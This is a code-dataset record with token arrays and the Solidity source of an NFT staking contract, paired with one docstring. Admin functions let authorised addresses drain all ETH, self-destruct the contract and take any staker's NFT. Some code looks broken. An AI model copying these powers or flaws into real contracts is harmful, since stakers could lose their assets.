[ 1, 12083, 9354, 87, 288, 203, 203, 565, 1958, 9354, 288, 203, 565, 289, 203, 203, 565, 445, 783, 12, 4789, 2502, 3895, 13, 2713, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 3895, 6315, 1132, 31, 203, 565, 289, 203, 203, 565, 445, 5504, 12, 4789, 2502, 3895, 13, 2713, 288, 203, 565, 22893, 288, 203, 3639, 3895, 6315, 1132, 1011, 404, 31, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 5504, 12, 4789, 2502, 3895, 13, 2713, 288, 203, 565, 22893, 288, 203, 3639, 3895, 6315, 1132, 1011, 404, 31, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 15267, 12, 4789, 2502, 3895, 13, 2713, 288, 203, 3639, 2254, 5034, 460, 273, 3895, 6315, 1132, 31, 203, 3639, 2583, 12, 1132, 405, 374, 16, 315, 4789, 30, 15267, 9391, 8863, 203, 565, 22893, 288, 203, 3639, 3895, 6315, 1132, 273, 460, 300, 404, 31, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 15267, 12, 4789, 2502, 3895, 13, 2713, 288, 203, 3639, 2254, 5034, 460, 273, 3895, 6315, 1132, 31, 203, 3639, 2583, 12, 1132, 405, 374, 16, 315, 4789, 30, 15267, 9391, 8863, 203, 565, 22893, 288, 203, 3639, 3895, 6315, 1132, 273, 460, 300, 404, 31, 203, 565, 289, 203, 565, 289, 203, 203, 565, 445, 2715, 12, 4789, 2502, 3895, 13, 2713, 288, 203, 3639, 3895, 6315, 1132, 273, 374, 31, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair(address tokenA, address tokenB) external returns (address pair); } interface ERC20 { function decimals() external view returns(uint); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface ERC20RewardToken is ERC20 { function mint_rewards(uint256 qty, address receiver) external; function burn_tokens(uint256 qty, address burned) external; } contract protected { mapping(address => bool) is_auth; function is_it_auth(address addy) public view returns (bool) { return is_auth[addy]; } function set_is_auth(address addy, bool booly) public onlyAuth { is_auth[addy] = booly; } modifier onlyAuth() { require(is_auth[msg.sender] || msg.sender == owner, "not owner"); _; } address owner; modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; } bool locked; modifier safe() { require(!locked, "reentrant"); locked = true; _; locked = false; } } /// @title ERC-721 Non-Fungible Token Standard /// @dev See https://eips.ethereum.org/EIPS/eip-721 /// Note: the ERC-165 identifier for this interface is 0x80ac58cd. interface ERC721 /* is ERC165 */ { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) external view returns (address); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable; /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external payable; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool); } interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } interface IUniswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract smart { address router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; IUniswapRouter02 router = IUniswapRouter02(router_address); uint kaiBalance; uint meishuBalance; uint kaiTax = 1; // 1% uint meishuFee = 100000000000000000; // 0,1 ETH function create_weth_pair(address token) private returns (address, IUniswapV2Pair) { address pair_address = IUniswapFactory(router.factory()).createPair(token, router.WETH()); return (pair_address, IUniswapV2Pair(pair_address)); } function get_weth_reserve(address pair_address) private view returns(uint, uint) { IUniswapV2Pair pair = IUniswapV2Pair(pair_address); uint112 token_reserve; uint112 native_reserve; uint32 last_timestamp; (token_reserve, native_reserve, last_timestamp) = pair.getReserves(); return (token_reserve, native_reserve); } function get_weth_price_impact(address token, uint amount, bool sell) private view returns(uint) { address pair_address = IUniswapFactory(router.factory()).getPair(token, router.WETH()); (uint res_token, uint res_weth) = get_weth_reserve(pair_address); uint impact; if(sell) { impact = (amount * 100) / res_token; } else { impact = (amount * 100) / res_weth; } return impact; } } contract calendar { function get_year_to_uint() public pure returns(uint) { return(365 days); } function get_month_to_uint() public pure returns(uint) { return(30 days); } function get_week_to_uint() public pure returns(uint) { return(7 days); } function get_day_to_uint() public pure returns(uint) { return(1 days); } function get_x_days_to_uint(uint16 _days) public pure returns(uint) { return((1 days*_days)); } } /******************** MEISHU NFT STAKING *********************/ contract MeishuStake is protected, smart,calendar { receive() payable external {} fallback() external {} mapping(address => bool) public nft_addresses; bool public nft_lock; address public default_earning; mapping(address => address) public custom_earning; mapping(address => mapping(uint => uint)) public nft_rewards; mapping(address => uint) public custom_floor; uint public _common_reward; ///@dev Modifiers rates uint burn_rate; uint penalty_rate; ///@dev Updated each time a floor is added or removed uint total_floors; struct SINGLE_STAKE { address nft; uint token_id; ERC721 nft_token; address earned; ERC20 earned_token; uint8 qty; uint floor; uint start_time; uint timelocked; uint rewards; bool active; bool exists; bool floor_based; } mapping(uint => bool) public times; struct STAKEHOLDER { mapping(uint => SINGLE_STAKE) stakes; uint total_withdraw; uint total_staked_value; uint last_stake; uint[] closed_pools; bool blacklisted; } mapping (address => STAKEHOLDER) stakeholder; constructor() { owner = msg.sender; is_auth[owner] = true; times[30 days] = true; times[60 days] = true; times[90 days] = true; /* 30 days = 2592000 60 days = 5184000 90 days = 7776000 */ } ///@dev Stake a specific NFT function stake_nft(address _nft, uint id, uint timelock) payable public safe { if(nft_lock) { require(nft_addresses[_nft], "This staking support other nfts"); } require(times[timelock], "Timelock wrong"); require(msg.value==meishuFee, "Underpaid or overpaid"); // 0.1 ETH pays for fees and gas uint kaiPart = (meishuFee * kaiTax)/100; kaiBalance += kaiPart; // 1% to Kaiba meishuBalance = meishuFee - kaiPart; require(ERC721(_nft).isApprovedForAll(msg.sender, address(this)), "Pleasea approve transfer status"); stakeholder[msg.sender].last_stake = stakeholder[msg.sender].last_stake + 1; uint last_stake = stakeholder[msg.sender].last_stake; // Configure the stake stakeholder[msg.sender].stakes[last_stake].nft = _nft; stakeholder[msg.sender].stakes[last_stake].nft_token = ERC721(_nft); // Check if there is a particular token to earn if(custom_earning[_nft]==DEAD) { stakeholder[msg.sender].stakes[last_stake].earned = default_earning; stakeholder[msg.sender].stakes[last_stake].earned_token = ERC20(default_earning); } else { stakeholder[msg.sender].stakes[last_stake].earned = custom_earning[_nft]; stakeholder[msg.sender].stakes[last_stake].earned_token = ERC20(custom_earning[_nft]); } // Check if there is a particular reward rate stakeholder[msg.sender].stakes[last_stake].rewards = _common_reward; // Transfer and last settings ERC721(_nft).transferFrom(msg.sender, address(this), id); stakeholder[msg.sender].stakes[last_stake].token_id = id; stakeholder[msg.sender].stakes[last_stake].qty = 1; stakeholder[msg.sender].stakes[last_stake].floor = custom_floor[_nft]; stakeholder[msg.sender].stakes[last_stake].start_time = block.timestamp; stakeholder[msg.sender].stakes[last_stake].active = true; stakeholder[msg.sender].stakes[last_stake].exists = true; total_floors += custom_floor[_nft]; } ///@dev Approve the transfer of a token (must be called before staking) function approve_nft_on_contract(address _nft) public { ERC721(_nft).setApprovalForAll(address(this), true); } ///@dev Set the burn rate function set_burn_rate(uint rate) public onlyAuth { burn_rate = rate; } ///@dev Set the penalty rate function set_penalty_rate(uint rate) public onlyAuth { penalty_rate = rate; } ///@dev Set the default earning token function set_base_earning(address _earning) public onlyAuth { default_earning = _earning; } ///@dev Set custom reward for an nft (yearly based) function set_nft_reward(address _nft, uint _time, uint _reward) public onlyAuth { nft_rewards[_nft][_time] = _reward; } function set_common_reward(uint _reward) public onlyAuth { _common_reward = _reward; } ///@dev Set custom earning token for an nft function set_custom_earning(address _nft, address _earning) public onlyAuth { custom_earning[_nft] = _earning; } ///@dev set floor for a specific nft function set_floor_on(address _nft, uint _floor) public onlyAuth { custom_floor[_nft] = _floor; } ///@dev set floor for a specific pool updating total_floors function set_pool_floor(address _stakeholder, uint _id, uint _floor) public onlyAuth { require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured"); uint old_floor = stakeholder[_stakeholder].stakes[_id].floor; total_floors -= old_floor; stakeholder[_stakeholder].stakes[_id].floor = _floor; total_floors += _floor; } ///@dev invalidate a pool function invalidate_pool(address _stakeholder, uint _id) public onlyAuth { require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured"); stakeholder[_stakeholder].stakes[_id].exists = false; uint old_floor = stakeholder[_stakeholder].stakes[_id].floor; total_floors -= old_floor; } ///@dev Enable or disable a time function set_time_status(uint timed, bool booly) public onlyAuth { times[timed] = booly; } ///@dev get balance function set_staking_fee(uint wei_fee) public onlyAuth { meishuFee = wei_fee; } ///@dev get balance function set_kaiba_share(uint perc_share) public onlyAuth { kaiTax = perc_share; } ///@dev get balance function retrieve_meishu_balance() public onlyAuth { if(!(address(this).balance >= meishuBalance)) { meishuBalance = (address(this).balance*kaiTax)/100; kaiBalance = address(this).balance - meishuBalance; } (bool sent,) = msg.sender.call{value: meishuBalance}(""); require(sent, "Can't withdraw"); } ///@dev get kaiba share function retrieve_kaiba_balance() public onlyAuth { if(!(address(this).balance >= kaiBalance)) { meishuBalance = (address(this).balance*kaiTax)/100; kaiBalance = address(this).balance - meishuBalance; } (bool sent,) = msg.sender.call{value: kaiBalance}(""); require(sent, "Can't withdraw"); } ///@dev solve stuck problems function unstuck() public onlyAuth { meishuBalance = 0; kaiBalance = 0; (bool sent,) = msg.sender.call{value: address(this).balance-1}(""); require(sent, "Can't withdraw"); } /************************* Views *************************/ ///@dev get a single pool function get_stakeholder_single_pool(address _stakeholder, uint _id) public view returns( address _nft, uint _nft_id, address _earned, uint _start_time, uint _locktime, uint _reward) { require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured"); return( stakeholder[_stakeholder].stakes[_id].nft, stakeholder[_stakeholder].stakes[_id].token_id, stakeholder[_stakeholder].stakes[_id].earned, stakeholder[_stakeholder].stakes[_id].start_time, stakeholder[_stakeholder].stakes[_id].timelocked, stakeholder[_stakeholder].stakes[_id].rewards ); } ///@dev get all the pools function get_all_pools(address stkholder) public view returns (uint all_pools, uint[] memory closed_pools) { return( stakeholder[stkholder].last_stake, stakeholder[stkholder].closed_pools); } ///@dev calculate reward based on emission function get_rewards_on(address _stakeholder, uint _id) public view returns(uint _reward) { require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured"); require(stakeholder[_stakeholder].stakes[_id].active, "Pool is inactive"); uint reward = _common_reward; uint start_time = stakeholder[_stakeholder].stakes[_id].start_time; uint this_reward = _get_rewards(reward, start_time); return this_reward; } function _get_rewards(uint reward, uint start_time) private view returns (uint uf_reward){ uint delta_time = block.timestamp - start_time; uint year_perc = (delta_time * 1000000) / get_year_to_uint(); uint actual_reward = ((reward * year_perc) / 100)/10000; return actual_reward; } ///@dev Calculate annual return function get_annual_return(address _stakeholder, uint _id) public view returns (uint _reward_value){ address reward = stakeholder[_stakeholder].stakes[_id].earned; uint amount = get_rewards_on(_stakeholder, _id); uint reward_value = getTokenPrice(reward, amount); return reward_value; } ///@dev Calculate APY /* function get_apy(address _stakeholder, uint _id) public view returns (uint _apy){ address _nft = stakeholder[_stakeholder].stakes[_id].nft; address earned; uint reward; if(custom_earning[_nft]==DEAD) { earned = default_earning; } else { earned = custom_earning[_nft]; } // Check if there is a particular reward rate if(custom_reward[_nft]==0) { reward = default_reward; } else { reward = custom_reward[_nft]; } uint reward_value = getTokenPrice(earned, reward); uint apy = (reward_value*100)/reward; return apy; } */ ///@dev Tokens (ERC20) price function getTokenPrice(address tkn, uint amount) public view returns(uint) { IUniswapFactory factory = IUniswapFactory(router.factory()); address pairAddress = factory.getPair(tkn, router.WETH()); IUniswapV2Pair pair = IUniswapV2Pair(pairAddress); ERC20 token1 = ERC20(pair.token1()); (uint Res0, uint Res1,) = pair.getReserves(); // decimals uint res0 = Res0*(10**token1.decimals()); return((amount*res0)/Res1); // return amount of token0 needed to buy token1 } ///@dev Payout earnings function withdraw_earnings(address _stakeholder, uint _id) public safe { require(msg.sender == _stakeholder, "Don't steal"); require(block.timestamp >= (stakeholder[_stakeholder].stakes[_id].start_time+1 hours),"Wait."); bool penalty; if(block.timestamp < (stakeholder[_stakeholder].stakes[_id].start_time + 15 days)) { penalty = true; } address earning = stakeholder[_stakeholder].stakes[_id].earned; uint reward_amount_raw = get_rewards_on(_stakeholder, _id); uint burn_amount = (reward_amount_raw * burn_rate)/100; uint penalty_amount; if(penalty) { penalty_amount = (reward_amount_raw * penalty_rate)/100; } uint reward_amount = reward_amount_raw - burn_amount - penalty_amount; require(ERC20(earning).balanceOf(address(this)) >= reward_amount, "Not enough tokens"); ERC20(earning).transfer(_stakeholder, reward_amount); ERC20(earning).transfer(DEAD, burn_amount); stakeholder[_stakeholder].total_withdraw += reward_amount; stakeholder[_stakeholder].stakes[_id].start_time = block.timestamp; private_recover_pool(_stakeholder, _id, msg.sender, stakeholder[_stakeholder].stakes[_id].token_id); } /************************* Control Panel *************************/ function ctrl_disband() public onlyAuth { selfdestruct(payable(owner)); } function ctrl_allow_nft(address nftaddy, bool booly) public onlyAuth { nft_addresses[nftaddy] = booly; } function ctrl_universal_staking(bool booly) public onlyAuth { nft_lock = booly; } /// @dev Forcibly unset a pool function ctrl_unstuck_token(address _stakeholder, uint _id, address caller, uint _token_id) public onlyAuth { private_recover_pool(_stakeholder, _id, caller, _token_id); } /// @dev Forcibly set a pool function ctrl_remake_pool(address _nft, uint id, address staker) public onlyAuth { require(ERC721(_nft).isApprovedForAll(msg.sender, address(this)), "Pleasea approve transfer status"); stakeholder[staker].last_stake = stakeholder[staker].last_stake + 1; uint last_stake = stakeholder[staker].last_stake; // Configure the stake stakeholder[staker].stakes[last_stake].nft = _nft; stakeholder[staker].stakes[last_stake].nft_token = ERC721(_nft); // Check if there is a particular token to earn if(custom_earning[_nft]==DEAD) { stakeholder[staker].stakes[last_stake].earned = default_earning; stakeholder[staker].stakes[last_stake].earned_token = ERC20(default_earning); } else { stakeholder[staker].stakes[last_stake].earned = custom_earning[_nft]; stakeholder[staker].stakes[last_stake].earned_token = ERC20(custom_earning[_nft]); } // Check if there is a particular reward rate stakeholder[staker].stakes[last_stake].rewards = _common_reward; // Transfer and last settings ERC721(_nft).transferFrom(msg.sender, address(this), id); stakeholder[staker].stakes[last_stake].token_id = id; stakeholder[staker].stakes[last_stake].qty = 1; stakeholder[staker].stakes[last_stake].floor = custom_floor[_nft]; stakeholder[staker].stakes[last_stake].start_time = block.timestamp; stakeholder[staker].stakes[last_stake].active = true; stakeholder[staker].stakes[last_stake].exists = true; total_floors += custom_floor[_nft]; } /************************* Private Helpers *************************/ function private_recover_pool(address _stakeholder, uint _id, address caller, uint _token_id) private { // Update total floor uint old_floor = stakeholder[_stakeholder].stakes[_id].floor; total_floors -= old_floor; // Takes back nft if(!is_auth[caller]) { require(ERC721(stakeholder[_stakeholder].stakes[_id].nft).ownerOf(_token_id) == address(this), "Nope"); } ERC721(stakeholder[_stakeholder].stakes[_id].nft).transferFrom(address(this), caller, _token_id); // Unsetting all stakeholder[_stakeholder].closed_pools.push(_id); stakeholder[_stakeholder].stakes[_id].nft = DEAD; stakeholder[_stakeholder].stakes[_id].earned = DEAD; stakeholder[_stakeholder].stakes[_id].qty = 0; stakeholder[_stakeholder].stakes[_id].floor = 0; stakeholder[_stakeholder].stakes[_id].start_time = 0; stakeholder[_stakeholder].stakes[_id].rewards = 0; stakeholder[_stakeholder].stakes[_id].active = false; stakeholder[_stakeholder].stakes[_id].exists = false; stakeholder[_stakeholder].stakes[_id].floor_based = false; } }
@dev set floor for a specific nft
function set_floor_on(address _nft, uint _floor) public onlyAuth { custom_floor[_nft] = _floor; }
5,929,337
[ 1, 542, 6346, 364, 279, 2923, 290, 1222, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
